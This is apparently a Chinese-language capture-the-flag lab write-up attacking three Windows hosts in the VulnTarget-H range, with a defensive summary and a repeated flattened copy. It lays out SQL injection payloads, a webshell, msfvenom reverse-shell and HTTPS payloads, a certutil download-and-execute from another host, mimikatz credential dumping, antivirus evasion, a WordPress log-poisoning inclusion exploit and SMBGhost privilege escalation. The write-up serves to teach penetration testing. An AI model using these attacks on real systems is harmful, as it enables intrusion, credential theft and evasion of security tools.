vulntarget-h靶场渗透
字数 2155 2025-08-22 22:47:30

VulnTarget-H 靶场渗透实战教学文档

1. 靶场环境概述

VulnTarget-H 靶场包含多个系统:

  • Win2008 Server (IP动态分配)
  • Win7 Enterprise
  • Win10 with WordPress

2. Win2008 渗透过程

2.1 信息收集

  1. IP探测

    • 使用 arp-scan -l 扫描内网IP
    • 发现IP从192.168.229.138变为192.168.229.140(动态分配)
  2. 端口扫描

    • 使用fscan扫描发现:
      • 永恒之蓝漏洞(MS17-010)
      • 80端口Web服务

2.2 SQL注入攻击

  1. 注入点确认

    • 访问 http://192.168.229.138/?user_id=1' or 1=1# 确认存在数字型注入
  2. 字段数量判断

    • order by 5 正常,order by 6 报错 → 5个字段
  3. 联合查询

    • http://192.168.229.138/?user_id=-1 union select 1,2,3,4,5
    • 回显点为1,2,3,4
  4. 权限确认

    • 站库不分离:http://192.168.229.138/?user_id=1 and ((select host_name())=(select @@servername))
    • sysadmin权限:http://192.168.229.138/?user_id=1 and 1=(select is_srvrolemember('sysadmin'))
    • db_owner权限:http://192.168.229.138/?user_id=1 and 1=(select IS_ROLEMEMBER('db_owner'))--
  5. xp_cmdshell确认

    • http://192.168.229.138/?user_id=-1 union select null,null,null,(SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'),null
    • 返回1表示存在

2.3 目录爆破

  1. 创建临时表

    CREATE TABLE dirtmp (dir varchar(8000),num int,num1 int);
    
  2. 目录枚举

    insert into dirtmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
    insert into dirtmp(dir,num,num1) execute master..xp_dirtree 'c:/inetpub/',1,1;
    insert into dirtmp(dir,num,num1) execute master..xp_dirtree 'c:/inetpub/edrfgyhujikopl',1,1;
    
  3. 使用sqlmap导出数据

    sqlmap -u http://192.168.229.138/?user_id=1 -D FoundStone_Bank -T dirtmp -C num --dump –fresh-queries –flush-session
    
    • 发现Web目录:c:/inetpub/edrfgyhujikopl

2.4 写入Webshell

  1. 使用VBS方法写入(绕过360拦截):
    declare @f int,@g int;
    exec sp_oacreate 'Scripting.FileSystemObject',@f output;
    EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\inetpub\edrfgyhujikopl\b.aspx',1;
    EXEC sp_oamethod @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>';
    

2.5 MSF上线

  1. 生成木马

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.229.136 LPORT=8086 -f exe >8086.exe
    
  2. 监听设置

    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.229.136
    set lport 8086
    run
    
  3. 权限提升

    • 使用 tokenmagic 模块提权至system
    • 获取Hash:load mimikatzkiwi_cmd sekurlsa::logonpasswords
    • 获取密码:Winmimayijingwangjile@
  4. 内网探测

    • 发现IP:192.168.229.138 和 192.168.153.128
    • 添加路由:run post/multi/manage/autoroute

3. Win7 渗透过程

3.1 内网扫描

  1. 使用fscan扫描
    fscan32.exe -h 192.168.153.1/24 -np
    
    • 发现192.168.153.130(Win7)开放139,135,445,80端口

3.2 命令执行漏洞利用

  1. 绕过火绒拦截

    • 重命名certutil:copy c:\windows\system32\certutil.exe C:\\Users\\Public\\Documents\\a.exe
  2. 下载木马

    C:\\Users\\Public\\Documents\\a.exe -urlcache -split -f http://192.168.153.128/6354.exe C:\\Users\\Public\\Documents\\shell.exe
    
  3. 执行木马

    start C:\\Users\\Public\\Documents\\shell.exe
    
  4. 获取flag

    • type c:\phpstudy_pro\COM\a.txtdsuijaddjsfvos.php

4. Win10 渗透过程

4.1 WordPress信息收集

  1. wpscan扫描
    proxychains wpscan --url http://192.168.153.129/
    
    • 发现mail-masta插件1.0版本(CVE-2016-10956)

4.2 文件包含漏洞利用

  1. 漏洞路径

    /wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=
    
  2. 日志包含

    • 发现日志轮转:access.log.1723075200
    • 构造请求包含日志文件
  3. 绕过Defender

    • 使用<?php $_POST[1] ?>代替常规一句话木马

4.3 HTTPS加密上线

  1. 生成证书

    openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
    -subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
    -keyout www.google.com.key \
    -out www.google.com.crt && \
    cat www.google.com.key www.google.com.crt > www.google.com.pem && \
    rm -f www.google.com.key www.google.com.crt
    
  2. 生成Shellcode

    msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.153.128 LPORT=2239 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f c -o 2239.c
    
  3. 使用BypassLoad免杀

    • 分离式加载shellcode
    • 远程加载加密的shellcode(code.png)

4.4 权限提升

  1. 使用SMBGhost漏洞
    use exploit/windows/local/cve_2020_0796_smbghost
    set lhost 192.168.153.128
    set lport 7984
    set session 8
    run
    

5. 总结与防御建议

5.1 攻击路径总结

  1. Win2008:

    • MSSQL注入 → xp_cmdshell → 写入Webshell → 获取系统权限
  2. Win7:

    • 命令执行漏洞 → 绕过杀软 → 下载执行木马
  3. Win10:

    • WordPress插件漏洞 → 文件包含 → 日志污染 → 远程加载加密shellcode

5.2 防御建议

  1. 数据库安全

    • 禁用xp_cmdshell等危险存储过程
    • 使用最小权限原则
  2. Web应用安全

    • 及时更新插件和CMS
    • 输入过滤和参数化查询
  3. 系统安全

    • 及时安装补丁
    • 配置适当的杀毒规则
    • 限制命令执行功能
  4. 日志安全

    • 保护日志目录不可写
    • 禁用错误信息泄露
  5. 网络隔离

    • 合理划分网络区域
    • 限制横向移动
VulnTarget-H 靶场渗透实战教学文档 1. 靶场环境概述 VulnTarget-H 靶场包含多个系统: Win2008 Server (IP动态分配) Win7 Enterprise Win10 with WordPress 2. Win2008 渗透过程 2.1 信息收集 IP探测 : 使用 arp-scan -l 扫描内网IP 发现IP从192.168.229.138变为192.168.229.140(动态分配) 端口扫描 : 使用fscan扫描发现: 永恒之蓝漏洞(MS17-010) 80端口Web服务 2.2 SQL注入攻击 注入点确认 : 访问 http://192.168.229.138/?user_id=1' or 1=1# 确认存在数字型注入 字段数量判断 : order by 5 正常, order by 6 报错 → 5个字段 联合查询 : http://192.168.229.138/?user_id=-1 union select 1,2,3,4,5 回显点为1,2,3,4 权限确认 : 站库不分离: http://192.168.229.138/?user_id=1 and ((select host_name())=(select @@servername)) sysadmin权限: http://192.168.229.138/?user_id=1 and 1=(select is_srvrolemember('sysadmin')) db_ owner权限: http://192.168.229.138/?user_id=1 and 1=(select IS_ROLEMEMBER('db_owner'))-- xp_ cmdshell确认 : http://192.168.229.138/?user_id=-1 union select null,null,null,(SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'),null 返回1表示存在 2.3 目录爆破 创建临时表 : 目录枚举 : 使用sqlmap导出数据 : 发现Web目录: c:/inetpub/edrfgyhujikopl 2.4 写入Webshell 使用VBS方法写入 (绕过360拦截): 2.5 MSF上线 生成木马 : 监听设置 : 权限提升 : 使用 tokenmagic 模块提权至system 获取Hash: load mimikatz → kiwi_cmd sekurlsa::logonpasswords 获取密码: Winmimayijingwangjile@ 内网探测 : 发现IP:192.168.229.138 和 192.168.153.128 添加路由: run post/multi/manage/autoroute 3. Win7 渗透过程 3.1 内网扫描 使用fscan扫描 : 发现192.168.153.130(Win7)开放139,135,445,80端口 3.2 命令执行漏洞利用 绕过火绒拦截 : 重命名certutil: copy c:\windows\system32\certutil.exe C:\\Users\\Public\\Documents\\a.exe 下载木马 : 执行木马 : 获取flag : type c:\phpstudy_pro\COM\a.txt → dsuijaddjsfvos.php 4. Win10 渗透过程 4.1 WordPress信息收集 wpscan扫描 : 发现mail-masta插件1.0版本(CVE-2016-10956) 4.2 文件包含漏洞利用 漏洞路径 : 日志包含 : 发现日志轮转: access.log.1723075200 构造请求包含日志文件 绕过Defender : 使用 <?php $_POST[1] ?> 代替常规一句话木马 4.3 HTTPS加密上线 生成证书 : 生成Shellcode : 使用BypassLoad免杀 : 分离式加载shellcode 远程加载加密的shellcode(code.png) 4.4 权限提升 使用SMBGhost漏洞 : 5. 总结与防御建议 5.1 攻击路径总结 Win2008: MSSQL注入 → xp_ cmdshell → 写入Webshell → 获取系统权限 Win7: 命令执行漏洞 → 绕过杀软 → 下载执行木马 Win10: WordPress插件漏洞 → 文件包含 → 日志污染 → 远程加载加密shellcode 5.2 防御建议 数据库安全 : 禁用xp_ cmdshell等危险存储过程 使用最小权限原则 Web应用安全 : 及时更新插件和CMS 输入过滤和参数化查询 系统安全 : 及时安装补丁 配置适当的杀毒规则 限制命令执行功能 日志安全 : 保护日志目录不可写 禁用错误信息泄露 网络隔离 : 合理划分网络区域 限制横向移动